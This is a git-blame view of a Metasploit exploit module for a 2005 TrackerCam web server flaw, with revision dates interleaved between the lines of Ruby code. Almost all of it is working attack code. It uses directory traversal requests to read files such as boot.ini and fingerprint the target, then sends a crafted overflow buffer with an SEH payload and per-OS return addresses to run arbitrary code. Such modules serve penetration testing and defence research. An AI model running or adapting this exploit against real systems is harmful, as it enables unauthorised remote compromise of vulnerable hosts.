Files
metasploit-gs/modules/exploits/windows/http/trackercam_phparg_overflow.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

148 lines
4.0 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = AverageRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
def initialize(info = {})
super(update_info(info,
2005-12-26 14:34:22 +00:00
'Name' => 'TrackerCam PHP Argument Buffer Overflow',
'Description' => %q{
2010-05-09 17:45:00 +00:00
This module exploits a simple stack buffer overflow in the
2005-12-26 14:34:22 +00:00
TrackerCam web server. All current versions of this software
are vulnerable to a large number of security issues. This
module abuses the directory traversal flaw to gain
information about the system and then uses the PHP overflow
to execute arbitrary code.
},
'Author' => [ 'hdm' ],
2006-01-21 22:10:20 +00:00
'License' => MSF_LICENSE,
2005-12-26 14:34:22 +00:00
'References' =>
[
[ 'CVE', '2005-0478'],
[ 'OSVDB', '13953'],
[ 'OSVDB', '13955'],
2005-12-26 14:34:22 +00:00
[ 'BID', '12592'],
[ 'URL', 'http://aluigi.altervista.org/adv/tcambof-adv.txt'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 2048,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
2005-12-26 14:34:22 +00:00
[
# EyeWD.exe has a null and we can not use a partial overwrite.
# All of the loaded application DLLs have a null in the address,
# except CPS.dll, which moves around between instances :-(
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
['Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll
['Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll
['Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll
2013-08-30 16:28:54 -05:00
# Windows XP SP2 and Windows 2003 are not supported yet :-/
2005-12-26 14:34:22 +00:00
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2005-02-18',
2005-12-26 14:34:22 +00:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options(
[
Opt::RPORT(8090)
])
2005-12-26 14:34:22 +00:00
end
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
def check
2006-12-28 23:42:36 +00:00
res = send_request_raw({
'uri' => '/tuner/ComGetLogFile.php3',
'query' => 'fn=../HTTPRoot/socket.php3'
}, 5)
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
if (res and res.body =~ /fsockopen/)
fp = fingerprint()
2014-01-21 11:07:03 -06:00
vprint_status("Detected a vulnerable TrackerCam installation on #{fp}")
return Exploit::CheckCode::Detected
2005-12-26 14:34:22 +00:00
end
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
def exploit
c = connect
2013-08-30 16:28:54 -05:00
buf = rand_text_english(8192)
2005-12-26 14:34:22 +00:00
seh = generate_seh_payload(target.ret)
buf[257, seh.length] = seh
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
print_status("Sending request...")
2006-12-28 23:42:36 +00:00
res = send_request_raw({
'uri' => '/tuner/TunerGuide.php3',
'query' => 'userID=' + buf
}, 5)
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
handler
end
2013-08-30 16:28:54 -05:00
def download_log(path)
2013-08-30 16:28:54 -05:00
2006-12-28 23:42:36 +00:00
res = send_request_raw({
'uri' => '/tuner/ComGetLogFile.php3',
'query' => 'fn=' + ("../" * 10) + path
}, 5)
2013-08-30 16:28:54 -05:00
return if !(res and res.body and res.body =~ /tuner\.css/ and res.body =~ /<pre>/)
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
m = res.match(/<pre>(.*)<\/pre><\/body>/smi)
return if not m
return m[1]
end
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
def fingerprint
2013-08-30 16:28:54 -05:00
res = download_log(rand_text_alphanumeric(12) + '.txt')
2008-09-22 15:52:18 +00:00
return if not res
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
m = res.match(/in <b>(.*)<\/b> on line/smi)
return if not m
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
path = m[1]
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
print_status("TrackerCam installation path is #{path}")
2013-08-30 16:28:54 -05:00
if (path !~ /^C/i)
2005-12-26 14:34:22 +00:00
print_status("TrackerCam is not installed on the system drive, we can't fingerprint it")
return
end
2013-08-30 16:28:54 -05:00
if (path !~ /Program Files/i)
2005-12-26 14:34:22 +00:00
print_status("TrackerCam is installed in a non-standard location")
end
2013-08-30 16:28:54 -05:00
boot = download_log('boot.ini')
2008-09-22 15:52:18 +00:00
return if not boot
2013-08-30 16:28:54 -05:00
2005-12-26 14:34:22 +00:00
case boot
when /Windows XP.*NoExecute/i
return "Windows XP SP2+"
when /Windows XP/
return "Windows XP SP0-SP1"
when /Windows.*2003/
return "Windows 2003"
when /Windows.*2000/
return "Windows 2000"
else
return "Unknown OS/SP"
end
2005-12-26 14:34:22 +00:00
end
end